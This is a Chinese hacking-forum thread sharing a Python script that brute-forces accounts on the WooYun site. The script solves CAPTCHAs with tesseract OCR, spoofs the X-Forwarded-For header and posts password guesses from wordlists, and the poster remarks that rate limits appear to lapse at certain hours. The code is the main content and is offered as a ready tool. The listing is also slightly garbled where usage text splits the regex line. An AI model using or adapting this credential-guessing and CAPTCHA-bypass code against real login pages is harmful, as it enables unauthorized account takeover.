查看: 18406|回复: 9

[工具专区] [python]乌云账号暴力猜解工具

[复制链接]
发表于 2014-10-5 13:15:21 | 显示全部楼层 |阅读模式
版权声明:本文转自Rona发自乌云社区
原文链接:http://zone.wooyun.org/content/15378
需要预安装如下程序
1、pytesseract (可以pip install pytesseract安装)
2、Python Imaging Library (PIL)
3、tesseract-ocr
原理:
1、利用tesseract 进行验证码的识别。
2、post暴力猜解
问题1.验证码的识别率
进行了一次处理,从正则里可以看到pattern = '^[a-zA-Z0-9]{4}$' 只取识别为4位的字符,如果不是则重新请求验证码,这个在很大程度上提高了识别率。
问题2.服务端频率验证
经过我两天的实验观察,早上会有次数限制,连续两天的下午我尝试了大于1161次的登陆都没有限制,不知道是什么原因,也许是我网络问题

  1. #coding: utf-8
  2. #date: 2014/09/23
  3. #author: titans

  4. import cookielib
  5. import urllib2
  6. import urllib
  7. import socket
  8. import sys
  9. import time
  10. import re
  11. import Image
  12. import pytesseract



  13. def guess_login(url, users, passwords):
  14.   cj = cookielib.CookieJar()
  15.   opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  16.   opener.addheaders = [
  17.     ('User-Agent','Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0'),
  18.     ('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
  19.     ('Accept-Encoding','gzip, deflate'),
  20.     ('Connection', 'keep-alive'),
  21.     ('X-Forwarded-For','127.0.0.1'),
  22.   ]
  23.   urllib2.install_opener(opener)
  24.   captcha = ''

  25.    
  26.   catp_url = 'http://www.wooyun.org/captcha.php'
  27.    
  28.   pattern = '^[a-zA-Z0-9]{4}

  29. windows下使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 改为linux下的路径即可
  30. usage:  wooyun.py users.txt passwords.txt
  31.   regex = re.compile(pattern)
  32.   for user in users:
  33.     user = user.strip()
  34.     find = False
  35.     for password in passwords:
  36.       while_mark = 1
  37.       password = password.strip()
  38.       
  39.       while(while_mark):

  40.         opener.open(url)
  41.         pic = opener.open(catp_url)
  42.         content = pic.read()
  43.         f = open('c:\\temp\capta.jpg','wb')
  44.         f.write(content)
  45.         f.close()
  46.         time.sleep(1)
  47.         captcha = pytesseract.image_to_string(Image.open('c:\\temp\capta.jpg'))
  48.          
  49.         re_result = regex.match(captcha)
  50.         if re_result:
  51.           print user, password, captcha
  52.           post_data = 'email=%s&password=%s&captcha=%s'%(user,password,captcha)
  53.           post_url =  'http://www.wooyun.org/user.php?action=login&do=login'
  54.           resp = opener.open(post_url,post_data)
  55.           while_mark = 0
  56.           cookies = resp.info().getheaders('Set-Cookie')
  57.           if len(cookies):
  58.             
  59.             find = True
  60.             raw_input('Get it!!%s %s'%(user,password))
  61.         else:
  62.           print '[*]Repeat request'
  63.           pass
  64.       if find == True:
  65.         break

  66. def run():
  67.   if len(sys.argv) !=3:
  68.     usage()
  69.   url = 'http://www.wooyun.org/user.php?action=login'
  70.   users = open(sys.argv[1],'r').readlines()
  71.   passwords = open(sys.argv[2],'r').readlines()
  72.   guess_login(url, users, passwords)
  73. def usage():
  74.   print 'wooyun.py users.txt passwords.txt'
  75.   exit(0)
  76. if __name__ == '__main__':
  77.   run()

复制代码


windows下使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 改为linux下的路径即可
usage:  wooyun.py users.txt passwords.txt
回复

使用道具 举报

发表于 2014-10-5 16:28:57 | 显示全部楼层
谢谢分享阿
回复 支持 反对

使用道具 举报

发表于 2014-10-6 22:39:31 | 显示全部楼层
学习了,感谢分享
回复 支持 反对

使用道具 举报

发表于 2014-10-12 00:20:28 | 显示全部楼层
SDFASFSDFSADF
回复 支持 反对

使用道具 举报

发表于 2014-11-2 19:40:18 | 显示全部楼层
爆破个乌云账号 那厉害了
回复 支持 反对

使用道具 举报

发表于 2015-5-5 11:53:09 | 显示全部楼层
看看,学习下
回复 支持 反对

使用道具 举报

发表于 2015-11-24 20:51:18 | 显示全部楼层
楼主真是 辛苦啊 还在奋斗
回复 支持 反对

使用道具 举报

发表于 2026-5-21 08:05:00 | 显示全部楼层

Re: [python]乌云账号暴力猜解工具

感谢楼主的分享,这个工具思路挺清晰的。用tesseract做验证码识别,加上正则过滤减少误判,实用性不错。不过还得提醒一下,暴力猜解账号的操作有法律风险,而且乌云平台现在也关了,仅供学习技术原理吧。代码里有几个小细节,比如验证码路径硬编码了Windows路径,如果跨平台用记得改;另外sleep(1)在批量测试时效率会低一些,可以适当调整。感谢Rona和楼主的劳动!
回复 支持 反对

使用道具 举报

发表于 2026-6-19 08:20:00 | 显示全部楼层

Re: [python]乌云账号暴力猜解工具

感谢分享!这个工具的思路挺清晰的,利用tesseract自动识别验证码,配合POST暴力猜解账号,而且在验证码识别失败时跳过重新请求,确实能提高效率。博主还注意到服务端频率限制在部分时段会消失,这个观察挺有意思。不过也得提醒一下,这种猜解工具如果用在未授权的地方可能会有法律风险,建议只用于自己账号的安全测试或者学习研究。另外,如果linux下用,记得改一下验证码临时路径。代码里还有个小细节,正则匹配只接受4位字母数字,有些验证码可能被识别成包含特殊字符或长度不对,跳过重试也算一种容错。整体来说是一份不错的渗透学习参考。
回复 支持 反对

使用道具 举报

发表于 2026-6-19 11:00:00 | 显示全部楼层

Re: [python]乌云账号暴力猜解工具

感谢分享,这个工具思路挺清晰的,用OCR处理验证码再暴力破解,还做了识别率优化和频率控制。不过乌云现在应该已经关停了吧,而且这类脚本最好只用在授权测试或者自己账号找回上,不然容易踩线。另外tesseract识别中文验证码的效果可能不太稳定,楼主有试过调整预处理来提升准确率吗?
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-8-29 03:39 , Processed in 0.029676 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部